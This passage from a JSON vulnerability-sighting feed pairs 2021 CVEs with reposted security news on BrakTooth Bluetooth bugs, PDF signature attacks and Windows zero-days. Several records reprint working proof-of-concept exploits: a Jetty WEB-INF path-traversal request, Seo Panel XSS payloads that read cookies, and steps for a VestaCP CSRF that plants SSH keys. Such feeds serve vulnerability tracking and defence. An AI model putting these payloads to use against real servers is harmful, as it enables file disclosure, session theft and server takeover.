leading to sporadic BT firmware crashes, this state of affairs can also be used for man-in-the-middle (MiTM) attacks. Bad actors can easily trick a user into connecting to the attacker\u2019s BT hardware instead of the legitimate device, researchers noted \u2013 with persistence.\n\n\u201cIndeed, the user needs to manually re-enable BT to restore functionality,\u201d they said, adding, \u201cDue to the number of smartphones and laptops vulnerable to such attacks, and the common use of BT connectivity during video-conference calls and music streaming, updating the affected devices is essential.\u201d See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerBT Audio Product FreezesA third attack scenario was discovered while probing various BT speakers (specifically the Mi Portable Bluetooth Speaker \u2013 MDZ-36-DB, BT Headphone and BT Audio Modules) and an unbranded BT audio receiver.\n\nThey all are variously subject to a series of bugs (CVE-2021-31609 andCVE-2021-31612, failures when sending oversized LMP packets; CVE-2021-31613, truncated packets; CVE-2021-31611, starting procedures out-of-order; and CVE-2021-28135, CVE-2021-28155 and CVE-2021-31717, feature response flooding).\n\nSuccessful exploits can \u201cfreeze\u201d devices, requiring the user to manually turn on unresponsive devices afterwards. For the Xiaomi MDZ-36-DBs and JBL TUNE 500BTs, this can be done while the user is actively playing music, researchers noted.\n\n\u201cAlthough issues were found in SoCs targeted to audio products, the BT implementation can be reused in a number of SoCs destined to different BT products,\u201d they added.\n\nThese are just a few of the possible exploit scenarios; a full vulnerability listing with descriptions can be found here.\n\nThe researchers have released\u00a0a BrakTooth\u00a0proof-of-concept (PoC) tool for vendors producing BT SoCs, modules and products \u2013 available for them to use to check their gear\u2019s vulnerability.\n\nBlueTooth vulnerabilities are particularly concerning given the vast footprint that they can impact, and unfortunately, they\u2019re not that uncommon. For more, please see Threatpost\u2019s recent previous BlueTooth bug coverage:\n\n* Bluetooth Bug Opens Devices to Man-in-the-Middle Attacks\n* Bluetooth Bug Allows Man-in-the-Middle Attacks on Phones\n* Bluetooth Spoofing Bug Affects Billions of IoT Devices\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/wordpress_[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:39.017759Z"}, {"uuid": "7b9ac0b6-5341-445e-beb3-56cfd61be61f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28139", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/22453", "content": "Black Hat Ethical Hacking\nBluetooth Bugs Open Billions of Devices to DoS, Code Execution\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Bluetooth Bugs Open Billions of Devices to DoS, Code ExecutionPost Views: 70 \nReading Time: 2 Minutes\nResearchers have disclosed a group of 16 different vulnerabilities collectively dubbed BrakTooth, which impact billions of devices that rely on Bluetooth Classic (BT) for communication.\nAccording to an academic paper from the University of Singapore, the bugs are found in the closed commercial BT stack used by at least 1,400 embedded chip components, that can lead to a host of attack types \u2013 mainly denial of service (DoS) via firmware crashes (the term \u201cbrak\u201d is actually Norwegian for \u201ccrash\u201d). One of the bugs can also lead to arbitrary code execution (ACE).\n\nThe team analyzed 13 pieces of BT hardware from 11 vendors; so far, there have been 20 CVEs assigned across them; with four vulnerabilities pending CVE assignments from Intel and Qualcomm. Some of the bugs are patched, others are in the process of being patched; but, researchers said in the paper, \u201cit is highly probable that many other products (beyond the \u22481400 entries observed in Bluetooth listing) are affected by BrakTooth,\u201d including BT system-on-chips (SoCs), BT modules or additional BT end products.\nSee Also: Complete Offensive Security and Ethical Hacking Course Potentially, billions of devices could be affected worldwide, researchers said.\n\nHere\u2019s a table of the 16 bugs:\nhttps://media.threatpost.com/wp-content/uploads/sites/103/2021/09/02135933/BrakTooth.png \nSummary of new vulnerabilities and other anomalies found (Vx:\u00a0Vulnerability,\u00a0Ax:\u00a0Non-compliance).\nAnd here\u2019s a list of known affected vendors:\nhttps://media.threatpost.com/wp-content/uploads/sites/103/2021/09/02140009/BrakTook-Vendors.png \nNumber of product listings with respect to BT SoC.\nThe researchers uncovered three main attack scenarios for the bugs, the most severe of which results in ACE on internet-of-things (IoT) devices.\nSee Also: Critical Valve Bug Lets Gamers Add Unlimited Funds to Steam Wallets Arbitrary Code Execution for Smart Home DevicesThe most critical vulnerability (CVE-2021-28139) affects ESP32 SoCs, a series of low-cost, low-power SoC microcontrollers with integrated Wi-Fi and dual-mode Bluetooth, from the vendor Espressif. These are commonly found in IoT appliances used in industry automation, smart-home device, personal fitness gadgets and more.\n\n\u201cA lack of out-of-bounds check in ESP32 BT Library allows the reception of a mutated LMP_feature_response_ext,\u201d according to the paper. \u201cThis results in the injection of eight bytes of arbitrary data outside the bounds of Extended Feature Page Table.\u201d\n\nTo exploit it, an attacker who knows the firmware layout of a target device can write a known function address (JMP Addr.) to the offset pointed by Features Page field.\n\nResearchers successfully forced ESP32 into erasing data housed in devices\u2019 non-volatile random-access memory (NVRAM), which retains data without applied power. They were also able to disable both BT and Wi-Fi on the device; and most concerningly, control the general-purpose input/output (GPIO) of the device if the attacker knows addresses to attached functions-controlling actuators. GPIO is used to communicate the ON/OFF signals received from connected switches, or the digital readings received from connected sensors, to the CPU.\n\n\u201cThis has serious implications if such an attack is applied to Bluetooth-enabled smart home products,\u201d the researchers warned.\nSee Also: Offensive Security Tool: Starkiller DoSing Laptops & SmartphonesThe second attack scenar[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:38.442764Z"}, {"uuid": "2e8a9d98-f766-4da8-94ed-1c6a3b4899d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28135", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/22454", "content": "io can lead to DoS in laptops and smartphones. Researchers were able to achieve this using gear containing Intel AX200 SoCs and Qualcomm WCN3990 SoCs.\n\nOne of the DoS bugs (CVE-2021-34147) exists because of a failure in the SoC to free resources upon receiving an invalid LMP_timing_accuracy_response from a connected BT device (i.e., a \u201cslave,\u201d according to the paper:\n\n\u201cThe attacker can exhaust the SoC by (a) paging, (b) sending the malformed packet, and (c) disconnecting without sending LMP_detach,\u201d researchers wrote. \u201cThese steps are repeated with a different BT address (i.e., BDAddress) until the SoC is exhausted from accepting new connections. On exhaustion, the SoC fails to recover itself and disrupts current active connections, triggering firmware crashes sporadically.\u201d\n\nThe researchers were able to forcibly disconnect slave BT devices from Windows and Linux laptops, and cause BT headset disruptions on Pocophone F1 and Oppo Reno 5G smartphones.\n\nAnother DoS bug (CVE pending) affects only devices using the Intel AX200 SoC.\n\nIt\u2019s triggered when an oversized LMP_timing_accuracy_request (i.e., bigger than 17 bytes) is sent to an AX200 slave.\n\n\u201cThis temporarily corrupts AX200 firmware, which responds incorrectly during a subsequent BT connection and eventually disables the paging scan procedure,\u201d researchers explained. \u201cThus, scanning AX200 works, but no connection is established from an external BT device.\u201d\n\nAside from disconnecting master BT devices connected to a vulnerable laptop and leading to sporadic BT firmware crashes, this state of affairs can also be used for man-in-the-middle (MiTM) attacks. Bad actors can easily trick a user into connecting to the attacker\u2019s BT hardware instead of the legitimate device, researchers noted \u2013 with persistence.\n\n\u201cIndeed, the user needs to manually re-enable BT to restore functionality,\u201d they said, adding, \u201cDue to the number of smartphones and laptops vulnerable to such attacks, and the common use of BT connectivity during video-conference calls and music streaming, updating the affected devices is essential.\u201d See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerBT Audio Product FreezesA third attack scenario was discovered while probing various BT speakers (specifically the Mi Portable Bluetooth Speaker \u2013 MDZ-36-DB, BT Headphone and BT Audio Modules) and an unbranded BT audio receiver.\n\nThey all are variously subject to a series of bugs (CVE-2021-31609 andCVE-2021-31612, failures when sending oversized LMP packets; CVE-2021-31613, truncated packets; CVE-2021-31611, starting procedures out-of-order; and CVE-2021-28135, CVE-2021-28155 and CVE-2021-31717, feature response flooding).\n\nSuccessful exploits can \u201cfreeze\u201d devices, requiring the user to manually turn on unresponsive devices afterwards. For the Xiaomi MDZ-36-DBs and JBL TUNE 500BTs, this can be done while the user is actively playing music, researchers noted.\n\n\u201cAlthough issues were found in SoCs targeted to audio products, the BT implementation can be reused in a number of SoCs destined to different BT products,\u201d they added.\n\nThese are just a few of the possible exploit scenarios; a full vulnerability listing with descriptions can be found here.\n\nThe researchers have released\u00a0a BrakTooth\u00a0proof-of-concept (PoC) tool for vendors producing BT SoCs, modules and products \u2013 available for them to use to check their gear\u2019s vulnerability.\n\nBlueTooth vulnerabilities are particularly concerning given the vast footprint that they can impact, and unfortunately, they\u2019re not that uncommon. For more, please see Threatpost\u2019s recent previous BlueTooth bug coverage:\n\n* Bluetooth Bug Opens Devices to Man-in-the-Middle Attacks\n* Bluetooth Bug Allows Man-in-the-Middle Attacks on Phones\n* Bluetooth Spoofing Bug Affects Billions of IoT Devices\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/wordpress_[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:38.861478Z"}, {"uuid": "48db3ad9-9814-4a33-ade6-2ee59f2c99ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/24602", "content": "hacking: security in practice\nCVE-2021-28663 - POC - Explanation\n\nHello,\n\nI have come across the poc for this exploit for Mali GPUs: https://github.com/lntrx/CVE-2021-28663 . I would like to run it on my android smartphone (Huawei P30 Pro), as it has a vulnerable Mali GPU. \n\n\u200b\n\nThe issue is that I am not very proficient at C and thus do not understand much of the exploit. The exploit fails very early on (https://github.com/lntrx/CVE-2021-28663/blob/main/mali_poc.c#L42). Could someone explain to me the workings of it, as the best I can do is add a bunch of print statements to see what is happening.\n\nsubmitted by /u/reujea0 \n[link] [comments]", "creation_timestamp": "2026-09-08T00:00:44.072023Z"}, {"uuid": "c19fec7e-b9c5-485e-9da5-a2cdef658d21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/28643", "content": "Exploit Collector\nJetty 9.4.37.v20210219 Information Disclosure\n\nhttps://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png \nJetty version 9.4.37.v20210219 suffers from an information disclosure vulnerability.\n\nMD5 | ff583cecb4b3cb1a0a4e1562056d0981\n\nDownload\n# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure \n# Date: 2021-10-21\n# Exploit Author: Mayank Deshmukh\n# Vendor Homepage: https://www.eclipse.org/jetty/\n# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/\n# Version: 9.4.37.v20210219 and 9.4.38.v20210224\n# Tested on: Kali Linux\n# CVE : CVE-2021-28164\n\nPOC #1 - web.xml\n\nGET /%2e/WEB-INF/web.xml HTTP/1.1\nHost: localhost:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T00:00:56.293357Z"}, {"uuid": "9245fa64-eb0a-4a2b-b427-4eaa238bbd93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "seen", "source": "https://t.me/hacking_Attack/12056", "content": "vulnerability in Chrome and Chromium browsers that allows attackers to exploit the Chrome renderer process (the processes that are responsible for what happens inside users\u2019 tabs).\nKaspersky experts did find and analyze the second exploit, however: An elevation of privilege exploit that exploits two distinct vulnerabilities in the Microsoft Windows OS kernel: CVE-2021-31955 and CVE-2021-31956. The CVE-2021-31955 bug \u201cis affiliated with SuperFetch, a feature first introduced in Windows Vista that aims to reduce software loading times by pre-loading commonly used applications into memory,\u201d they explained.\n\nThe second flaw, CVE-2021-31956, is an Elevation of Privilege vulnerability and heap-based buffer overflow. Kaspersky said that attackers used this vulnerability alongside Windows Notification Facility (WNF) \u201cto create arbitrary memory read/write primitives and execute malware modules with system privileges.\u201d\n\n\u201cOnce the attackers have used both the Chrome and Windows exploits to gain a foothold in the targeted system, the stager module downloads and executes a more complex malware dropper from a remote server,\u201d they continued. \u201cThis dropper then installs two executables, which pretend to be legitimate files belonging to Microsoft Windows OS. The second of these two executables is a remote shell module, which is able to download and upload files, create processes, sleep for certain periods of time, and delete itself from the infected system.\u201d\n\nBoris Larin, senior security researcher with Kaspersky\u2019s Global Research and Analysis Team (GReAT), said that the team hasn\u2019t been able to link these highly targeted attacks to any known threat actor: Hence the name PuzzleMaker and the determination to closely monitor the security landscape \u201cfor future activity or new insights about this group,\u201d he was quoted as saying in the press release.\n\nIf the current trend is any indication, expect to see more of the same, Larin said. \u201cOverall, of late, we\u2019ve been seeing several waves of high-profile threat activity being driven by zero-day exploits,\u201d he said. \u201cIt\u2019s a reminder that zero days continue to be the most effective method for infecting targets. Now that these vulnerabilities have been made publicly known, it\u2019s possible that we\u2019ll see an increase of their usage in attacks by this and other threat actors. That means it\u2019s very important for users to download the latest patch from Microsoft as soon as possible.\u201d CVE-2021-31199/CVE-2021-31201The two Enhanced Cryptographic Provider Elevation of Privilege vulnerabilities are linked to the Adobe Reader bug that came under active attack\u00a0last month (CVE-2021-28550), ZDI explained. \u201cIt\u2019s common to see privilege escalation paired with code execution bugs, and it seems these two vulnerabilities were the privilege escalation part of those exploits,\u201d he explained. \u201cIt is a bit unusual to see a delay between patch availability between the different parts of an active attack, but good to see these holes now getting closed.\u201d CVE-2021-33739Breen noted that privilege escalation vulnerabilities such as this one in the Microsoft DWM Core Library are just as valuable to attackers as RCEs. \u201cOnce they have gained an initial foothold, they can move laterally across the network and uncover further ways to escalate to system or domain-level access,\u201d he said. \u201cThis can be hugely damaging in the event of ransomware attacks, where high privileges can enable the attackers to stop or destroy backups and other security tools.\u201d\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-1-1-90x90.png RockYou2021: largest password compilation of all time leaked online \u2013 8.4 billion entries17 hours ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/microsoft-exploit-90x90.jpg Windows Container Malware Targets Kubernetes Clusters1 day ago\n* https://www.blackhatethicalhacking[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T03:00:05.309701Z"}, {"uuid": "fbe13c70-207d-4a95-997b-1756a98fb693", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28417", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/11112", "content": "Exploit Collector\nSeo Panel 4.8.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png \nSeo Panel version 4.8.0 suffers from multiple cross site scripting vulnerabilities.\n\nMD5 | 8ad5fb98ff68e1b4ac68594baa474a3b\n\nDownload\n# Exploit Title: Seo Panel 4.8.0 - 'search_name' Reflected XSS\n# Date: 21-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28417\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Add below line at the end:\nhttp://localhost/archive.php?from_time=2021-03-08&order_col=name&order_val=DESC&report_type=website-search-reports&search_name=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&sec=viewWebsiteSearchSummary&to_time=2021-03-09&website_id=http%3a%2f%2fwww.example.com\n3- Hover your mouse near to \"CTR\" field\n-----------\n# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS\n# Date: 22-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28418\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Visit:\nhttp://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n3- Hover your mouse to \"Cancel\" field\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T05:00:03.888874Z"}, {"uuid": "738f0e08-b815-4db2-8fa1-467867507164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28418", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/11112", "content": "Exploit Collector\nSeo Panel 4.8.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png \nSeo Panel version 4.8.0 suffers from multiple cross site scripting vulnerabilities.\n\nMD5 | 8ad5fb98ff68e1b4ac68594baa474a3b\n\nDownload\n# Exploit Title: Seo Panel 4.8.0 - 'search_name' Reflected XSS\n# Date: 21-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28417\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Add below line at the end:\nhttp://localhost/archive.php?from_time=2021-03-08&order_col=name&order_val=DESC&report_type=website-search-reports&search_name=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&sec=viewWebsiteSearchSummary&to_time=2021-03-09&website_id=http%3a%2f%2fwww.example.com\n3- Hover your mouse near to \"CTR\" field\n-----------\n# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS\n# Date: 22-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28418\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Visit:\nhttp://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n3- Hover your mouse to \"Cancel\" field\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T05:00:03.949485Z"}, {"uuid": "22126504-f650-4719-b6b4-72c509a103e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28546", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/10387", "content": "Black Hat Ethical Hacking\nPDF Feature \u2018Certified\u2019 Widely Vulnerable to Attack\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg PDF Feature \u2018Certified\u2019 Widely Vulnerable to AttackPost Views: 161 \nReading Time: 1 Minute\nCertified portable document format (PDF) files are used to securely sign agreements between two parties while keeping the contents\u2019 integrity protected, but a new report found the security protections on most certified PDF applications were inadequate and left organizations exposed to a number of attacks.\nResearchers from Ruhr University Bochum explained certified PDFs use two specific signatures to authenticate the document, an Approval signature and a Certification signature. Certification signatures are the more flexible and made to handle complicated agreements between multiple parties and allow some changes to the document within a set of parameters while still maintaining its validity.\n\nUnsurprisingly, Certified signatures are where the team found vulnerabilities to two specific novel attacks they dubbed, \u201cEvil Annotation\u201d (EAA) and \u201cSneaky Signature\u201d (SSA). Both allow an attacker to overlay malicious content\u00a0(PDF) on top of the certified information without showing any signs it was altered. Novel Certified PDF Attacks EAAs display malicious content in the document\u2019s annotations and then sends it on with its digital signature intact. SSAs add malicious content over legitimate content in the PDF itself.\n\nThe team said the results of its evaluation of the 26 most popular PDF applications were \u201calarming.\u201d\nSee Also: Pulse Secure VPNs Get Quick Fix for Critical RCE \u201cIn only 2 cases, we could not find a vulnerability; 15 viewers were vulnerable to EAA, 8 to SSA, including Adobe, Foxit, and LibreOffice,\u201d the report said. \u201cWe additionally analyzed the standard-compliant implementation of PDF certification applications and found issues in 11 of them.\u201d\n\nAdobe had an additional flaw that allowed certified documents to execute JavaScript code, opening these users to code in injection attacks.\n\nhttps://media.threatpost.com/wp-content/uploads/sites/103/2021/05/26161319/Evil-Annotation-PDF-Research_10-300x187.jpg \u201cFor example, a high-level JavaScript can call an arbitrary URL without user confirmation to deanonymize a user. Our research reveals that such code is also executed if it is added as an allowed incremental update. We are the first to reveal that this behavior allows attackers to directly embed malicious code into a certified document.\n\nThe team said it disclosed their findings to the appropriate vendors and provided a comprehensive vulnerability report, including exploits, to CERT-Bund (BSI). The report also lists the specific certified PDF security flaws\u00a0found in each application.\n\n\u201cAdobe, Foxit, and LibreOffice responded quickly and provided patches for late 2020 (CVE-2020-35931) or early 2021 (CVE2021-28545, CVE-2021-28546),\u201d the report said. \u201cAdobe fixed the code injection vulnerability in early Nov. 2020 within a patch outside the regular update cycle (CVE-2020-24432). Currently, we participate in the standardization process via the German National Organization for Standardization (DIN) and the International Organization for Standardization (ISO) to address the reported attacks in the next PDF specification.\u201d\nSee Also: Offensive Security Tool: Snallygaster Stopping Certified PDF AttacksTo fend off Evil Annotation Attacks, the researchers recommend admins prohibit three particularly risky annotations that allow text or images to be added to a certified PDF, \u201cFreeText, Stamp and Redact.\u201d\n\nSneaky Signatures can be blocked by reducing permissions, but that is not a guarantee SSAs won\u2019t g[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T06:00:05.383719Z"}, {"uuid": "d7e161fd-4018-4d8c-bdac-64e27e2ba27b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/jetty_web_inf_disclosure.rb", "content": "{\"actions\": [{\"description\": \"Read file on the remote server from WEB-INF folder\", \"name\": \"READ_FILE\"}], \"aliases\": [], \"arch\": \"\", \"author\": [\"h00die\", \"Mayank Deshmukh\", \"cangqingzhe\", \"lachlan roberts \", \"charlesk40\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"Jetty suffers from a vulnerability where certain encoded URIs and ambiguous paths can access\\n          protected files in the WEB-INF folder. Versions effected are:\\n          9.4.37.v20210219, 9.4.38.v20210224 and 9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5.\\n          Exploitation can obtain any file in the WEB-INF folder, but web.xml is most likely\\n          to have information of value.\", \"disclosure_date\": \"2021-07-15\", \"fullname\": \"auxiliary/gather/jetty_web_inf_disclosure\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:52:36 +0000\", \"name\": \"Jetty WEB-INF File Disclosure\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/gather/jetty_web_inf_disclosure.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"gather/jetty_web_inf_disclosure\", \"references\": [\"EDB-50438\", \"EDB-50478\", \"URL-https://github.com/ColdFusionX/CVE-2021-34429\", \"GHSA-vjv5-gp2w-65vm\", \"GHSA-v7ff-8wcx-gmc5\", \"CVE-2021-34429\", \"CVE-2021-28164\"], \"rport\": 8080, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:16.634174Z"}, {"uuid": "519e2609-e74e-4735-b222-a72c78777674", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28379", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/1478", "content": "Exploit Collector\nVestaCP 0.9.8 Cross Site Request Forgery\n\nhttps://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png \nVestaCP version 0.9.8 suffers from a cross site request forgery that can be leveraged to add remote ssh access.\n\nMD5 | 0cd72aff04a0cdb12d80f6b96cd818ed\n\nDownload\n# Exploit Title: VestaCP 0.9.8 - File Upload CSRF\n# Exploit Author: Fady Othman \n# Date: 16-03-2021\n# Vendor Homepage: https://vestacp.com/\n# Software Link: https://github.com/myvesta/vesta\n# Version: Vesta Control Panel (aka VestaCP) through 0.9.8-27 and myVesta through 0.9.8-26-39\n# CVE ID: CVE-2021-28379\n# Patch: https://github.com/myvesta/vesta/commit/3402071e950e76b79fa8672a1e09b70d3860f355\n\n## Description\nI found that the checks performed by the upload functionality are insufficient, the upload functionality is vulnerable to CSRF, in addition it allows uploading files and creating folders under \"/tmp\" and under the home folder (usually \"/home/admin\"), the later is the one that is important for this exploit to work.\n\nI was able to use this to create a \".ssh\" folder in the admin home and upload \"authorized_keys\" file which allowed me to access the server later as \"admin\" using SSH.\n\nSince this relies on a *CSRF* the admin has to visit a link, please note that *sshd* is already installed by *VestaCP* when using the default installation script so no need to install it, also please note that files can be replaced so even if the admin has already added \"authorized_keys\" file, it will be replaced with the attacker's file.\n\nAffected endpoint: \"/upload/index.php\", i.e. \"/upload/index.php?dir=/home/admin/.ssh/\"\n\n## Steps to reproduce.\n1. Install the latest version of VestaCP in your machine by following the instructions at https://vestacp.com/install/.\n2. Login as the admin in Firefox, then open \"exploit.html\".\n3. ssh into the machine using 'ssh -i id_rsa admin@victimmachine', now you have access as admin.\n\n# exploit.html \n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T13:00:03.807101Z"}, {"uuid": "8f8e1238-5009-4bbc-ab81-dd36d4a0d942", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released 